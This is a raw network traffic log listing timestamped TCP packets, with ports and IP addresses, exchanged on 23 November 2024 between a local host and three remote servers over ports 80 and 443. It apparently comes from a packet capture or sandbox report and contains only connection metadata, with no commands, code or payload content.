Nov 23, 2024 21:15:15.067514896 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.067545891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.067600965 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.068344116 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.068428040 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.068449020 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.068495989 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.069295883 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.069386959 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.069417000 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.069459915 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.070143938 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.070192099 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.070244074 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.070301056 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.071125984 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.071170092 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.071238041 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.071284056 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.071953058 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.072002888 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.072068930 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.072145939 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.072906017 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.073044062 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.073084116 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.073100090 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.073935986 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.074013948 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.074100018 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.074141979 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.074793100 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.074848890 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.074867964 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.074927092 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.075596094 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.075642109 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.075719118 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.075773954 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.076493979 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.076543093 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.076620102 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.076663971 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.077388048 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.077445030 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.077508926 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.077578068 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.078310013 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.078357935 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.078437090 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.078481913 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.079197884 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.079253912 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.079328060 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.079374075 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.080116034 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.080177069 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.080274105 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.080327988 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.081013918 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.081099987 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.081204891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.081299067 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.082051992 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.082103014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.082231045 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.082276106 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.083091021 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.083146095 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.083182096 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.083233118 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.084076881 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.084144115 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.084322929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.084361076 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.085041046 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.085108042 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.085165977 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.085213900 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.085813999 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.085882902 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.085922003 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.085982084 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.086842060 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.086848021 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.086893082 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.087519884 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.087590933 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.087604046 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.087651014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.088306904 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.088361979 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.088409901 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.088454962 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.089257002 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.089307070 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.089334965 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.089386940 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.090069056 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.090156078 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.090218067 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.090264082 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.090982914 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.091038942 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.091126919 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.091167927 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.092015028 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.092071056 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.092206001 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.092263937 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.092773914 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.092822075 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.092897892 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.092940092 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.093666077 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.093720913 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.247519970 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.247560024 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.247658968 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.247693062 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.247806072 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.247859001 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.247891903 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.247940063 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:15.248671055 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:15.248718023 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:16.611052990 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:16.611112118 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:16.611274004 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:16.614295959 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:16.614346027 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:17.475416899 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:17.475790977 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:17.596396923 CET	80	49713	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:17.596477985 CET	80	49710	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:17.596529007 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:17.596585989 CET	49710	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:17.596848011 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:17.716588020 CET	80	49713	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:17.924906015 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:17.924993992 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:17.926753044 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:17.926768064 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:17.927018881 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:17.974831104 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:17.976633072 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:17.976653099 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:17.976777077 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:18.624515057 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:18.624597073 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:18.624821901 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:18.627381086 CET	49712	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:18.627404928 CET	443	49712	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:18.733366966 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:18.733426094 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:18.733500957 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:18.734524965 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:18.734549999 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:19.023679018 CET	80	49713	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:19.023782969 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:19.027731895 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:19.028063059 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:19.147669077 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:19.147713900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:19.147743940 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:19.147836924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:19.148426056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:19.273211002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.044616938 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.044842005 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.046128035 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.046159983 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.046417952 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.047621965 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.047660112 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.047719955 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.612751007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612778902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612806082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612812996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612921000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612926960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612937927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612942934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612951040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.612960100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.613029003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.613029003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.613029003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.733110905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.733150005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.733222008 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.737226009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.737318039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.737612963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.737675905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.737704039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.737756014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.803775072 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803831100 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803862095 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803888083 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803890944 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.803916931 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803925991 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.803936958 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.803962946 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.811949968 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.820382118 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.820434093 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.820444107 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.820456028 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.820513964 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.823081970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.823193073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.823196888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.823252916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.827238083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.827363968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.827373981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.827662945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.828846931 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.835654020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.835741997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.838934898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.839049101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.839065075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.839140892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.847124100 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.847243071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.847326994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.855560064 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.855649948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.855720997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.863976955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.864042997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.864109039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.864262104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.872432947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.872536898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.872632980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.880754948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.880820990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.880855083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.880913973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.881053925 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.881082058 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:20.888813972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.888895988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.889070034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.889132977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.896632910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.896749020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.896816015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.927980900 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:20.989002943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.989104986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.989200115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:20.992980957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:20.993038893 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.014496088 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.014563084 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.014625072 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.014648914 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.014672041 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.014731884 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.014903069 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.014934063 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.014949083 CET	49714	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.014962912 CET	443	49714	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.041686058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.041795015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.041825056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.041893959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.044352055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.044411898 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.045362949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.045435905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.045483112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.045533895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.050785065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.050853968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.050914049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.051374912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.056303024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.056323051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.056385994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.056385994 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.061769009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.061850071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.061911106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.067168951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.067193031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.067234039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.067260981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.072515011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.072570086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.072629929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.077959061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.078078032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.078111887 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.078139067 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.083372116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.083444118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.083498955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.083703995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.088835955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.088929892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.088968992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.089023113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.094244003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.094295025 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.094340086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.094584942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.099701881 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.099716902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.099771976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.105238914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.105314970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.105379105 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.105459929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.110522032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.110558033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.110606909 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.115932941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.116040945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.116099119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.117110968 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.117144108 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.117321014 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.117712021 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:21.117727995 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:21.121375084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.121422052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.122370958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.122416973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.126854897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.126904011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.126944065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.126981974 CET	49715	80	192.168.2.8	185.215.113.16
